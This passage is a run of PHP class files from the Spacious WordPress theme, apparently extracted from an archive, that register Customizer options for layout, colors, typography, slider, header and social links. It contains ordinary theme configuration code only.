{ exit; } /** * Class to include Color Footer customize options. * * Class Spacious_Customize_Color_Footer_Options */ class Spacious_Customize_Footer_widgets_Area_Options extends Spacious_Customize_Base_Option { /** * Include customize options. * * @param array $options Customize options provided via the theme. * @param \WP_Customize_Manager $wp_customize Theme Customizer object. * * @return mixed|void Customizer options for registering panels, sections as well as controls. */ public function register_options( $options, $wp_customize ) { $configs = array( array( 'name' => 'footer_widget_column_heading', 'type' => 'control', 'control' => 'spacious-title', 'label' => esc_html__( 'Footer Widgets Column', 'spacious' ), 'section' => 'spacious_footer_widgets_area_section', 'priority' => 10, ), array( 'name' => 'spacious_footer_widget_column_select_type', 'default' => 'four', 'type' => 'control', 'control' => 'spacious-radio-image', 'label' => esc_html__( 'Choose the number of column for the footer widgetized areas.', 'spacious' ), 'section' => 'spacious_footer_widgets_area_section', 'choices' => array( 'one' => array( 'label' => '', 'url' => SPACIOUS_ADMIN_IMAGES_URL . '/sidebar-layout-full-column.png', ), 'two' => array( 'label' => '', 'url' => SPACIOUS_ADMIN_IMAGES_URL . '/sidebar-layout-two-column.png', ), 'three' => array( 'label' => '', 'url' => SPACIOUS_ADMIN_IMAGES_URL . '/sidebar-layout-third-column.png', ), 'four' => array( 'label' => '', 'url' => SPACIOUS_ADMIN_IMAGES_URL . '/sidebar-layout-fourth-column.png', ), ), 'image_col' => 3, 'priority' => 15, ), ); $options = array_merge( $options, $configs ); return $options; } } return new Spacious_Customize_Footer_widgets_Area_Options(); options/social/class-spacious-customize-social-icons-options.php000066600000007624152367043330021270 0ustar00<?php /** * Class to include Social customize options. * * Class Spacious_Customize_Social_Icons_Options * * @package ThemeGrill * @subpackage Spacious * @since Spacious 1.9.0 */ // Exit if accessed directly. if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Class to include Social customize option. * * Class Spacious_Customize_Social_Icons_Options */ class Spacious_Customize_Social_Icons_Options extends Spacious_Customize_Base_Option { /** * Include customize options. * * @param array $options Customize options provided via the theme. * @param \WP_Customize_Manager $wp_customize Theme Customizer object. * * @return mixed|void Customizer options for registering panels, sections as well as controls. */ public function register_options( $options, $wp_customize ) { // Customize transport postMessage variable to set `postMessage` or `refresh` as required. $customizer_selective_refresh = isset( $wp_customize->selective_refresh ) ? 'postMessage' : 'refresh'; $configs = array( /** * Social Icons. */ array( 'name' => 'social_link_activation_heading', 'type' => 'control', 'control' => 'spacious-title', 'label' => esc_html__( 'Activate social links area', 'spacious' ), 'section' => 'spacious_social_links_options', ), // Social links enable/disable option. array( 'name' => 'spacious_activate_social_links', 'default' => 0, 'type' => 'control', 'control' => 'checkbox', 'label' => esc_html__( 'Check to activate social links area. You also need to activate the header top bar section in Header options to show this social links area', 'spacious' ), 'section' => 'spacious_social_links_options', 'transport' => $customizer_selective_refresh, 'partial' => array( 'selector' => '.social-links', ), ), array( 'name' => 'social_icon_heading', 'type' => 'control', 'control' => 'spacious-title', 'label' => esc_html__( 'Social Icon', 'spacious' ), 'section' => 'spacious_social_links_options', 'dependency' => array( 'spacious_activate_social_links', '!=', 0, ), ), ); $options = array_merge( $options, $configs ); // Social links lists. $spacious_social_links = array( 'spacious_social_facebook' => esc_html__( 'Facebook', 'spacious' ), 'spacious_social_twitter' => esc_html__( 'Twitter', 'spacious' ), 'spacious_social_instagram' => esc_html__( 'Instagram', 'spacious' ), 'spacious_social_linkedin' => esc_html__( 'LinkedIn', 'spacious' ) ); $i = 1; // Available social links via theme. foreach ( $spacious_social_links as $key => $value ) { // Social links url option. $configs[] = array( 'name' => $key, 'default' => '', 'type' => 'control', 'control' => 'url', 'label' => sprintf( 'Add link for %1$s', $value ), 'section' => 'spacious_social_links_options', 'dependency' => array( 'spacious_activate_social_links', '!=', 0, ), ); // Social links open in new tab enable/disable option. $configs[] = array( 'name' => $key . 'new_tab', 'default' => 0, 'type' => 'control', 'control' => 'checkbox', 'label' => esc_html__( 'Check to show in new tab', 'spacious' ), 'section' => 'spacious_social_links_options', 'dependency' => array( 'spacious_activate_social_links', '!=', 0, ), ); // Social links separator. $configs[] = array( 'name' => $key . '_additional', 'type' => 'control', 'control' => 'spacious-divider', 'section' => 'spacious_social_links_options', 'dependency' => array( 'spacious_activate_social_links', '!=', 0, ), ); $i++; } $options = array_merge( $options, $configs ); return $options; } } return new Spacious_Customize_Social_Icons_Options(); options/global/class-spacious-customize-colors-options.php000066600000003516152367043330020170 0ustar00<?php /** * Class to include Colors customize options. * * Class Spacious_Customize_Colors_Options * * @package ThemeGrill * @subpackage Spacious * @since Spacious 1.9.0 */ // Exit if accessed directly. if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Class to include Colors customize options. * * Class Spacious_Customize_Colors_Options */ class Spacious_Customize_Colors_Options extends Spacious_Customize_Base_Option { /** * Include customize options. * * @param array $options Customize options provided via the theme. * @param \WP_Customize_Manager $wp_customize Theme Customizer object. * * @return mixed|void Customizer options for registering panels, sections as well as controls. */ public function register_options( $options, $wp_customize ) { $configs = array( /** * Primary Colors. */ // Primary color option. array( 'name' => 'spacious_primary_color', 'default' => '#0FBE7C', 'type' => 'control', 'control' => 'spacious-color', 'label' => esc_html__( 'Primary Color', 'spacious' ), 'section' => 'spacious_primary_colors_section', 'priority' => 5, ), // Skin color option. array( 'name' => 'spacious_color_skin', 'default' => 'light', 'type' => 'control', 'control' => 'spacious-radio-image', 'label' => esc_html__( 'Color Skin', 'spacious' ), 'section' => 'spacious_skin_color_section', 'choices' => array( 'light' => array( 'label' => '', 'url' => SPACIOUS_ADMIN_IMAGES_URL . '/light-color.jpg', ), 'dark' => array( 'label' => '', 'url' => SPACIOUS_ADMIN_IMAGES_URL . '/dark-color.jpg', ), ), 'priority' => 0, ), ); $options = array_merge( $options, $configs ); return $options; } } return new Spacious_Customize_Colors_Options(); options/global/class-spacious-customize-layout-options.php000066600000012245152367043330020203 0ustar00<?php /** * Class to include Layout customize options. * * Class Spacious_Customize_Layout_Options * * @package ThemeGrill * @subpackage Spacious * @since Spacious 1.9.0 */ // Exit if accessed directly. if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Class to include Layout customize options. * * Class Spacious_Customize_Layout_Options */ class Spacious_Customize_Layout_Options extends Spacious_Customize_Base_Option { /** * Include customize options. * * @param array $options Customize options provided via the theme. * @param \WP_Customize_Manager $wp_customize Theme Customizer object. * * @return mixed|void Customizer options for registering panels, sections as well as controls. */ public function register_options( $options, $wp_customize ) { $configs = array( // Site layout option. array( 'name' => 'spacious_site_layout', 'default' => 'box_1218px', 'type' => 'control', 'control' => 'radio', 'label' => esc_html__( 'Choose your site layout. The change is reflected in whole site.', 'spacious' ), 'section' => 'spacious_site_layout_section', 'choices' => array( 'box_1218px' => esc_html__( 'Boxed layout with content width of 1218px', 'spacious' ), 'box_978px' => esc_html__( 'Boxed layout with content width of 978px', 'spacious' ), 'wide_1218px' => esc_html__( 'Wide layout with content width of 1218px', 'spacious' ), 'wide_978px' => esc_html__( 'Wide layout with content width of 978px', 'spacious' ), ), 'priority' => 10, ), // Default layout option. array( 'name' => 'spacious_default_layout', 'default' => 'right_sidebar', 'type' => 'control', 'control' => 'spacious-radio-image', 'label' => esc_html__( 'Default layout', 'spacious' ), 'section' => 'spacious_sidebar_layout_section', 'choices' => array( 'right_sidebar' => array( 'label' => '', 'url' => SPACIOUS_ADMIN_IMAGES_URL . '/right-sidebar.png', ), 'left_sidebar' => array( 'label' => '', 'url' => SPACIOUS_ADMIN_IMAGES_URL . '/left-sidebar.png', ), 'no_sidebar_full_width' => array( 'label' => '', 'url' => SPACIOUS_ADMIN_IMAGES_URL . '/no-sidebar-full-width-layout.png', ), 'no_sidebar_content_centered' => array( 'label' => '', 'url' => SPACIOUS_ADMIN_IMAGES_URL . '/no-sidebar-content-centered-layout.png', ), 'no_sidebar_content_stretched' => array( 'label' => '', 'url' => SPACIOUS_ADMIN_IMAGES_URL . '/no-sidebar-content-stretched-layout.png', ), ), 'image_col' => 3, 'priority' => 5, ), // Default layout for pages only option. array( 'name' => 'spacious_pages_default_layout', 'default' => 'right_sidebar', 'type' => 'control', 'control' => 'spacious-radio-image', 'label' => esc_html__( 'Default layout for pages only', 'spacious' ), 'section' => 'spacious_sidebar_layout_section', 'choices' => array( 'right_sidebar' => array( 'label' => '', 'url' => SPACIOUS_ADMIN_IMAGES_URL . '/right-sidebar.png', ), 'left_sidebar' => array( 'label' => '', 'url' => SPACIOUS_ADMIN_IMAGES_URL . '/left-sidebar.png', ), 'no_sidebar_full_width' => array( 'label' => '', 'url' => SPACIOUS_ADMIN_IMAGES_URL . '/no-sidebar-full-width-layout.png', ), 'no_sidebar_content_centered' => array( 'label' => '', 'url' => SPACIOUS_ADMIN_IMAGES_URL . '/no-sidebar-content-centered-layout.png', ), 'no_sidebar_content_stretched' => array( 'label' => '', 'url' => SPACIOUS_ADMIN_IMAGES_URL . '/no-sidebar-content-stretched-layout.png', ), ), 'image_col' => 3, 'priority' => 10, ), // Default layout for single posts page only option. array( 'name' => 'spacious_single_posts_default_layout', 'default' => 'right_sidebar', 'type' => 'control', 'control' => 'spacious-radio-image', 'label' => esc_html__( 'Default layout for single posts only', 'spacious' ), 'section' => 'spacious_sidebar_layout_section', 'choices' => array( 'right_sidebar' => array( 'label' => '', 'url' => SPACIOUS_ADMIN_IMAGES_URL . '/right-sidebar.png', ), 'left_sidebar' => array( 'label' => '', 'url' => SPACIOUS_ADMIN_IMAGES_URL . '/left-sidebar.png', ), 'no_sidebar_full_width' => array( 'label' => '', 'url' => SPACIOUS_ADMIN_IMAGES_URL . '/no-sidebar-full-width-layout.png', ), 'no_sidebar_content_centered' => array( 'label' => '', 'url' => SPACIOUS_ADMIN_IMAGES_URL . '/no-sidebar-content-centered-layout.png', ), 'no_sidebar_content_stretched' => array( 'label' => '', 'url' => SPACIOUS_ADMIN_IMAGES_URL . '/no-sidebar-content-stretched-layout.png', ), ), 'image_col' => 3, 'priority' => 15, ), ); $options = array_merge( $options, $configs ); return $options; } } return new Spacious_Customize_Layout_Options(); options/global/class-spacious-customize-typography-options.php000066600000004127152367043330021074 0ustar00<?php /** * Class to include Typography General customize options. * * Class Spacious_Customize_Typography_options * * @package ThemeGrill * @subpackage Spacious * @since Spacious 1.9.0 */ // Exit if accessed directly. if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Class to include Typography General customize options. * * Class Spacious_Customize_Typography_options */ class Spacious_Customize_Typography_options extends Spacious_Customize_Base_Option { /** * Include customize options. * * @param array $options Customize options provided via the theme. * @param \WP_Customize_Manager $wp_customize Theme Customizer object. * * @return mixed|void Customizer options for registering panels, sections as well as controls. */ public function register_options( $options, $wp_customize ) { $configs = array( /** * Content. */ array( 'name' => 'spacious_body_font_heading', 'type' => 'control', 'control' => 'spacious-title', 'label' => esc_html__( 'Body', 'spacious' ), 'section' => 'spacious_base_typography_section', 'priority' => 5, ), array( 'name' => 'spacious_content_font_typography', 'default' => array( 'font-family' => 'Lato', ), 'type' => 'control', 'control' => 'spacious-typography', 'section' => 'spacious_base_typography_section', 'priority' => 15, ), /** * Headings. */ array( 'name' => 'spacious_headings_typography_heading', 'type' => 'control', 'control' => 'spacious-title', 'label' => esc_html__( 'Headings', 'spacious' ), 'section' => 'spacious_headings_typography_section', 'priority' => 5, ), array( 'name' => 'spacious_titles_font_typography', 'default' => array( 'font-family' => 'Lato', ), 'type' => 'control', 'control' => 'spacious-typography', 'section' => 'spacious_headings_typography_section', 'priority' => 15, ), ); $options = array_merge( $options, $configs ); return $options; } } return new Spacious_Customize_Typography_options(); options/global/class-spacious-customize-background-options.php000066600000002506152367043330021004 0ustar00<?php /** * Class to include Background customize options. * * Class Spacious_Customize_Background_Options * * @package ThemeGrill * @subpackage Spacious * @since Spacious 1.9.0 */ // Exit if accessed directly. if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Class to include Background customize option. * * Class Spacious_Customize_Background_Options */ class Spacious_Customize_Background_Options extends Spacious_Customize_Base_Option { /** * Include customize options. * * @param array $options Customize options provided via the theme. * @param \WP_Customize_Manager $wp_customize Theme Customizer object. * * @return mixed|void Customizer options for registering panels, sections as well as controls. */ public function register_options( $options, $wp_customize ) { $configs = array( /** * Global color background options. */ // Outside container design options heading separator. array( 'name' => 'global_background_heading', 'type' => 'control', 'control' => 'spacious-title', 'label' => esc_html__( 'Outside Container', 'spacious' ), 'section' => 'spacious_global_background_section', 'priority' => 15, ), ); $options = array_merge( $options, $configs ); return $options; } } return new Spacious_Customize_Background_Options(); options/content/class-spacious-customize-single-post-options.php000066600000007267152367043330021354 0ustar00<?php /** * Class to include Blog Single Post customize options. * * Class Spacious_Customize_Single_Post_Options * * @package ThemeGrill * @subpackage Spacious * @since Spacious 1.9.0 */ // Exit if accessed directly. if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Class to include Blog Single Post customize options. * * Class Spacious_Customize_Single_Post_Options */ class Spacious_Customize_Single_Post_Options extends Spacious_Customize_Base_Option { /** * Include customize options. * * @param array $options Customize options provided via the theme. * @param \WP_Customize_Manager $wp_customize Theme Customizer object. * * @return mixed|void Customizer options for registering panels, sections as well as controls. */ public function register_options( $options, $wp_customize ) { // Customize transport postMessage variable to set `postMessage` or `refresh` as required. $customizer_selective_refresh = isset( $wp_customize->selective_refresh ) ? 'postMessage' : 'refresh'; $configs = array( /** * Author Bio. */ array( 'name' => 'author_bio_heading', 'type' => 'control', 'control' => 'spacious-title', 'label' => esc_html__( 'Author Bio', 'spacious' ), 'section' => 'spacious_single_post_section', 'priority' => 10, ), array( 'name' => 'spacious_author_bio', 'default' => 0, 'type' => 'control', 'control' => 'checkbox', 'label' => esc_html__( 'Check to enable the author bio section just below the post.', 'spacious' ), 'transport' => $customizer_selective_refresh, 'partial' => array( 'selector' => '.author-box', ), 'section' => 'spacious_single_post_section', 'priority' => 20, ), /** * Featured Image. */ array( 'name' => 'featured_image_single_post_heading', 'type' => 'control', 'control' => 'spacious-title', 'label' => esc_html__( 'Featured Image In Single Post Page', 'spacious' ), 'section' => 'spacious_single_post_section', 'priority' => 70, ), array( 'name' => 'spacious_featured_image_single_post_page', 'default' => 0, 'type' => 'control', 'control' => 'checkbox', 'label' => esc_html__( 'Check to enable the featured image in single post page.', 'spacious' ), 'section' => 'spacious_single_post_section', 'priority' => 80, ), /** * Related posts options. */ array( 'name' => 'related_post_heading', 'type' => 'control', 'control' => 'spacious-title', 'label' => esc_html__( 'Related Posts', 'spacious' ), 'section' => 'spacious_single_post_section', 'priority' => 160, ), array( 'name' => 'spacious_related_posts_activate', 'default' => 0, 'type' => 'control', 'control' => 'checkbox', 'label' => esc_html__( 'Check to activate the related posts', 'spacious' ), 'section' => 'spacious_single_post_section', 'priority' => 170, ), array( 'name' => 'spacious_related_posts', 'default' => 'categories', 'type' => 'control', 'control' => 'radio', 'label' => esc_html__( 'Related Posts Must Be Shown As:', 'spacious' ), 'section' => 'spacious_single_post_section', 'choices' => array( 'categories' => esc_html__( 'Related Posts By Categories', 'spacious' ), 'tags' => esc_html__( 'Related Posts By Tags', 'spacious' ), ), 'dependency' => array( 'spacious_related_posts_activate', '!=', 0, ), 'priority' => 180, ), ); $options = array_merge( $options, $configs ); return $options; } } return new Spacious_Customize_Single_Post_Options(); options/content/class-spacious-customize-page-header-options.php000066600000003221152367043330021234 0ustar00<?php /** * Class to include Header button customize options. * * Class Spacious_Customize_Page_Header_options * * @package ThemeGrill * @subpackage Spacious * @since Spacious 1.9.0 */ // Exit if accessed directly. if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Class to include Header button customize options. * * Class Spacious_Customize_Page_Header_options */ class Spacious_Customize_Page_Header_options extends Spacious_Customize_Base_Option { /** * Include customize options. * * @param array $options Customize options provided via the theme. * @param \WP_Customize_Manager $wp_customize Theme Customizer object. * * @return mixed|void Customizer options for registering panels, sections as well as controls. */ public function register_options( $options, $wp_customize ) { // Customize transport postMessage variable to set `postMessage` or `refresh` as required. $customizer_selective_refresh = isset( $wp_customize->selective_refresh ) ? 'postMessage' : 'refresh'; $configs = array( array( 'name' => 'header_title_heading', 'type' => 'control', 'control' => 'spacious-title', 'label' => esc_html__( 'Header Title', 'spacious' ), 'section' => 'spacious_post_page_content_options', ), array( 'name' => 'spacious_header_title_hide', 'default' => 0, 'type' => 'control', 'control' => 'checkbox', 'label' => esc_html__( 'Hide page/post header title', 'spacious' ), 'section' => 'spacious_post_page_content_options', ), ); $options = array_merge( $options, $configs ); return $options; } } return new Spacious_Customize_Page_Header_options(); options/content/class-spacious-customize-page-options.php000066600000003061152367043330020010 0ustar00<?php /** * Class to include Blog Single Page customize options. * * Class Spacious_Customize_Page_Options * * @package ThemeGrill * @subpackage Spacious * @since Spacious 1.9.0 */ // Exit if accessed directly. if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Class to include Page customize options. * * Class Spacious_Customize_Page_Options */ class Spacious_Customize_Page_Options extends Spacious_Customize_Base_Option { /** * Include customize options. * * @param array $options Customize options provided via the theme. * @param \WP_Customize_Manager $wp_customize Theme Customizer object. * * @return mixed|void Customizer options for registering panels, sections as well as controls. */ public function register_options( $options, $wp_customize ) { $configs = array( array( 'name' => 'featured_image_page_heading', 'type' => 'control', 'control' => 'spacious-title', 'label' => esc_html__( 'Featured Image in Single Page', 'spacious' ), 'section' => 'spacious_page_section', 'priority' => 10, ), // Featured image display in single page option. array( 'name' => 'spacious_featured_image_single_page', 'default' => 0, 'type' => 'control', 'control' => 'checkbox', 'label' => esc_html__( 'Check to enable the featured image in single page.', 'spacious' ), 'section' => 'spacious_page_section', 'priority' => 20, ), ); $options = array_merge( $options, $configs ); return $options; } } return new Spacious_Customize_Page_Options(); options/content/class-spacious-customize-blog-archive-options.php000066600000004205152367043330021437 0ustar00<?php /** * Class to include Blog General customize options. * * Class Spacious_Customize_Blog_Archive_Options * * @package ThemeGrill * @subpackage Spacious * @since Spacious 1.9.0 */ // Exit if accessed directly. if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Class to include Blog General customize options. * * Class Spacious_Customize_Blog_Archive_Options */ class Spacious_Customize_Blog_Archive_Options extends Spacious_Customize_Base_Option { /** * Include customize options. * * @param array $options Customize options provided via the theme. * @param \WP_Customize_Manager $wp_customize Theme Customizer object. * * @return mixed|void Customizer options for registering panels, sections as well as controls. */ public function register_options( $options, $wp_customize ) { // Customize transport postMessage variable to set `postMessage` or `refresh` as required. $customizer_selective_refresh = isset( $wp_customize->selective_refresh ) ? 'postMessage' : 'refresh'; $configs = array( array( 'name' => 'blog_post_display_heading', 'type' => 'control', 'control' => 'spacious-title', 'label' => esc_html__( 'Blog Posts display type', 'spacious' ), 'section' => 'spacious_blog_content_options', 'priority' => 10, ), array( 'name' => 'spacious_archive_display_type', 'default' => 'blog_large', 'type' => 'control', 'control' => 'radio', 'description' => esc_html__( 'Choose the layout option for the blog, archive and search results pages.', 'spacious' ), 'section' => 'spacious_blog_content_options', 'choices' => array( 'blog_large' => esc_html__( 'Blog Image Large', 'spacious' ), 'blog_medium' => esc_html__( 'Blog Image Medium', 'spacious' ), 'blog_medium_alternate' => esc_html__( 'Blog Image Alternate Medium', 'spacious' ), 'blog_full_content' => esc_html__( 'Blog Full Content', 'spacious' ), ), 'priority' => 20, ), ); $options = array_merge( $options, $configs ); return $options; } } return new Spacious_Customize_Blog_Archive_Options(); options/slider/class-spacious-customize-slider-options.php000066600000011617152367043330020174 0ustar00<?php /** * Class to include Blog Single Page customize options. * * Class jSpacious_Customize_Slider_Options * * @package ThemeGrill * @subpackage Spacious * @since Spacious 1.9.0 */ // Exit if accessed directly. if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Class to include Page customize options. * * Class Spacious_Customize_Slider_Options */ class Spacious_Customize_Slider_Options extends Spacious_Customize_Base_Option { /** * Include customize options. * * @param array $options Customize options provided via the theme. * @param \WP_Customize_Manager $wp_customize Theme Customizer object. * * @return mixed|void Customizer options for registering panels, sections as well as controls. */ public function register_options( $options, $wp_customize ) { $customizer_selective_refresh = isset( $wp_customize->selective_refresh ) ? 'postMessage' : 'refresh'; $configs = array( // Slider Activate heading. array( 'name' => 'slider_activate_heading', 'type' => 'control', 'control' => 'spacious-title', 'label' => esc_html__( 'Activate slider', 'spacious' ), 'section' => 'spacious_slider_options', ), array( 'name' => 'spacious_activate_slider', 'default' => 0, 'type' => 'control', 'control' => 'checkbox', 'label' => esc_html__( 'Check to activate slider.', 'spacious' ), 'section' => 'spacious_slider_options', 'transport' => $customizer_selective_refresh, 'partial' => array( 'selector' => '#featured-slider', 'render_callback' => '', ), ), // slider status heading. array( 'name' => 'slider_status_heading', 'type' => 'control', 'control' => 'spacious-title', 'label' => esc_html__( 'Disable slider in Posts page', 'spacious' ), 'section' => 'spacious_slider_options', 'dependency' => array( 'spacious_activate_slider', '!=', 0, ), ), array( 'name' => 'spacious_blog_slider', 'default' => 0, 'type' => 'control', 'control' => 'checkbox', 'label' => esc_html__( 'Check to disable slider in Posts Page', 'spacious' ), 'section' => 'spacious_slider_options', 'transport' => $customizer_selective_refresh, 'partial' => array( 'selector' => '#featured-slider', 'render_callback' => '', ), 'dependency' => array( 'spacious_activate_slider', '!=', 0, ), ), ); $options = array_merge( $options, $configs ); for ( $i = 1; $i <= 5; $i++ ) { $configs[] = array( 'name' => 'slider_image_upload_heading' . $i, 'type' => 'control', 'control' => 'spacious-title', 'label' => sprintf( esc_html__( 'Slider Content #%1$s', 'spacious' ), $i ), 'section' => 'spacious_slider_options', 'dependency' => array( 'spacious_activate_slider', '!=', 0, ), ); $configs[] = array( 'name' => 'spacious_slider_image' . $i, 'default' => '', 'type' => 'control', 'control' => 'image', 'label' => esc_html__( 'Upload slider image.', 'spacious' ), 'section' => 'spacious_slider_options', 'dependency' => array( 'spacious_activate_slider', '!=', 0, ), ); $configs[] = array( 'name' => 'spacious_slider_title' . $i, 'default' => '', 'type' => 'control', 'control' => 'text', 'label' => esc_html__( 'Enter title for your slider.', 'spacious' ), 'section' => 'spacious_slider_options', 'dependency' => array( 'spacious_activate_slider', '!=', 0, ), ); $configs[] = array( 'name' => 'spacious_slider_text' . $i, 'default' => '', 'type' => 'control', 'control' => 'textarea', 'label' => esc_html__( 'Enter your slider description.', 'spacious' ), 'section' => 'spacious_slider_options', 'dependency' => array( 'spacious_activate_slider', '!=', 0, ), ); $configs[] = array( 'name' => 'spacious_slider_button_text' . $i, 'default' => '', 'type' => 'control', 'control' => 'text', 'label' => esc_html__( 'Enter the button text. Default is "Read more"', 'spacious' ), 'section' => 'spacious_slider_options', 'dependency' => array( 'spacious_activate_slider', '!=', 0, ), ); $configs[] = array( 'name' => 'spacious_slider_link' . $i, 'default' => '', 'type' => 'control', 'control' => 'url', 'label' => esc_html__( 'Enter link to redirect slider when clicked', 'spacious' ), 'section' => 'spacious_slider_options', 'dependency' => array( 'spacious_activate_slider', '!=', 0, ), ); } $options = array_merge( $options, $configs ); return $options; } } return new Spacious_Customize_Slider_Options(); options/header/class-spacious-customize-header-media-options.php000066600000005306152367043330021163 0ustar00<?php /** * Class to include Header Media customize options. * * Class Spacious_Customize_Header_Media_Options * * @package ThemeGrill * @subpackage Spacious * @since Spacious 1.9.0 */ // Exit if accessed directly. if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Class to include Header Media customize options. * * Class Spacious_Customize_Header_Media_Options */ class Spacious_Customize_Header_Media_Options extends Spacious_Customize_Base_Option { /** * Include customize options. * * @param array $options Customize options provided via the theme. * @param \WP_Customize_Manager $wp_customize Theme Customizer object. * * @return mixed|void Customizer options for registering panels, sections as well as controls. */ public function register_options( $options, $wp_customize ) { $header_image_value = get_theme_mod( 'header_image' ) === 'remove-header' ? 'remove-header' : ''; $header_video_value = get_theme_mod( 'header_video' ) === 0 ? 0 : ''; $configs = array( array( 'name' => 'header_image_position_heading', 'type' => 'control', 'control' => 'spacious-title', 'label' => esc_html__( 'Header Image Position', 'spacious' ), 'section' => 'header_image', 'dependency' => array( 'conditions' => array( array( 'header_image', '!=', $header_image_value, ), array( 'header_video', '!=', $header_video_value, ), array( 'external_header_video', '!=', '', ), ), 'operator' => 'OR', ), 'priority' => 10, ), // Header image position option. array( 'name' => 'spacious_header_image_position', 'default' => 'above', 'type' => 'control', 'control' => 'radio', 'label' => esc_html__( 'Header image display position', 'spacious' ), 'section' => 'header_image', 'choices' => array( 'above' => esc_html__( 'Position Above (Default): Display the Header image just above the site title and main menu part.', 'spacious' ), 'below' => esc_html__( 'Position Below: Display the Header image just below the site title and main menu part.', 'spacious' ), ), 'dependency' => array( 'conditions' => array( array( 'header_image', '!=', $header_image_value, ), array( 'header_video', '!=', $header_video_value, ), array( 'external_header_video', '!=', '', ), ), 'operator' => 'OR', ), 'priority' => 10, ), ); $options = array_merge( $options, $configs ); return $options; } } return new Spacious_Customize_Header_Media_Options(); options/header/class-spacious-customize-header-button.php000066600000004055152367043330017726 0ustar00<?php /** * Class to include Header button customize options. * * Class Spacious_Customize_Header_Button_Options * * @package ThemeGrill * @subpackage Spacious * @since Spacious 1.9.0 */ // Exit if accessed directly. if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Class to include Header button customize options. * * Class Spacious_Customize_Header_Button_Options */ class Spacious_Customize_Header_Button_Options extends Spacious_Customize_Base_Option { /** * Include customize options. * * @param array $options Customize options provided via the theme. * @param \WP_Customize_Manager $wp_customize Theme Customizer object. * * @return mixed|void Customizer options for registering panels, sections as well as controls. */ public function register_options( $options, $wp_customize ) { // Customize transport postMessage variable to set `postMessage` or `refresh` as required. $customizer_selective_refresh = isset( $wp_customize->selective_refresh ) ? 'postMessage' : 'refresh'; $configs = array( // Header button one option. array( 'name' => 'spacious_header_button_one_setting', 'default' => '', 'type' => 'control', 'control' => 'text', 'label' => esc_html__( 'Button Text', 'spacious' ), 'section' => 'spacious_header_button_one', 'priority' => 15, ), // Header button one option. array( 'name' => 'spacious_header_button_one_link', 'default' => '', 'type' => 'control', 'control' => 'url', 'label' => esc_html__( 'Button Link', 'spacious' ), 'section' => 'spacious_header_button_one', 'priority' => 15, ), array( 'name' => 'spacious_header_button_one_tab', 'default' => 0, 'type' => 'control', 'control' => 'checkbox', 'label' => esc_html__( 'Check to show in new tab', 'spacious' ), 'section' => 'spacious_header_button_one', 'priority' => 20, ), ); $options = array_merge( $options, $configs ); return $options; } } return new Spacious_Customize_Header_Button_Options(); options/header/class-spacious-customize-primary-menu-options.php000066600000006063152367043330021304 0ustar00<?php /** * Class to include Header Primary Menu customize options. * * Class Spacious_Customize_Primary_Menu_Options * * @package ThemeGrill * @subpackage Spacious * @since Spacious 1.9.0 */ // Exit if accessed directly. if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Class to include Header Primary Menu customize options. * * Class Spacious_Customize_Primary_Menu_Options */ class Spacious_Customize_Primary_Menu_Options extends Spacious_Customize_Base_Option { /** * Include customize options. * * @param array $options Customize options provided via the theme. * @param \WP_Customize_Manager $wp_customize Theme Customizer object. * * @return mixed|void Customizer options for registering panels, sections as well as controls. */ public function register_options( $options, $wp_customize ) { // Customize transport postMessage variable to set `postMessage` or `refresh` as required. $customizer_selective_refresh = isset( $wp_customize->selective_refresh ) ? 'postMessage' : 'refresh'; $configs = array( /** * Search icon options. */ array( 'name' => 'header_primary_menu_search', 'type' => 'control', 'control' => 'spacious-title', 'label' => esc_html__( 'Search Icon', 'spacious' ), 'section' => 'spacious_header_primary_menu', 'priority' => 10, ), // Search Icon option. array( 'name' => 'spacious_header_search_icon', 'default' => 0, 'type' => 'control', 'control' => 'checkbox', 'label' => esc_html__( 'Show search icon in header.', 'spacious' ), 'section' => 'spacious_header_primary_menu', 'transport' => $customizer_selective_refresh, 'partial' => array( 'selector' => '.home-icon', ), 'priority' => 20, ), // Menu Display option. array( 'name' => 'header_primary_menu_display', 'type' => 'control', 'control' => 'spacious-title', 'label' => esc_html__( 'Menu Display', 'spacious' ), 'section' => 'spacious_header_primary_menu', 'priority' => 40, ), array( 'name' => 'spacious_one_line_menu_setting', 'default' => 0, 'type' => 'control', 'control' => 'checkbox', 'label' => esc_html__( 'Display menu in one line', 'spacious' ), 'section' => 'spacious_header_primary_menu', 'priority' => 50, ), // Responsive menu style heading. array( 'name' => 'header_primary_menu_responsive_style', 'type' => 'control', 'control' => 'spacious-title', 'label' => esc_html__( 'Responsive Menu Style', 'spacious' ), 'section' => 'spacious_header_primary_menu', 'priority' => 60, ), array( 'name' => 'spacious_new_menu', 'default' => 1, 'type' => 'control', 'control' => 'checkbox', 'label' => esc_html__( 'Switch to new responsive menu.', 'spacious' ), 'section' => 'spacious_header_primary_menu', 'priority' => 70, ), ); $options = array_merge( $options, $configs ); return $options; } } return new Spacious_Customize_Primary_Menu_Options(); options/header/class-spacious-customize-primary-header-options.php000066600000003567152367043330021576 0ustar00<?php /** * Class to include Header General customize options. * * Class Spacious_Customize_Primary_Header_Options * * @package ThemeGrill * @subpackage Spacious * @since Spacious 1.9.0 */ // Exit if accessed directly. if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Class to include Header General customize options. * * Class Spacious_Customize_Primary_Header_Options */ class Spacious_Customize_Primary_Header_Options extends Spacious_Customize_Base_Option { /** * Include customize options. * * @param array $options Customize options provided via the theme. * @param \WP_Customize_Manager $wp_customize Theme Customizer object. * * @return mixed|void Customizer options for registering panels, sections as well as controls. */ public function register_options( $options, $wp_customize ) { $configs = array( array( 'name' => 'header_display_heading', 'type' => 'control', 'control' => 'spacious-title', 'label' => esc_html__( 'Header Display Type', 'spacious' ), 'section' => 'spacious_header_main', 'priority' => 5, ), // Main total header area display type option. array( 'name' => 'spacious_header_display_type', 'default' => 'one', 'type' => 'control', 'control' => 'spacious-radio-image', 'label' => esc_html__( 'Choose the header display type that you want.', 'spacious' ), 'section' => 'spacious_header_main', 'choices' => array( 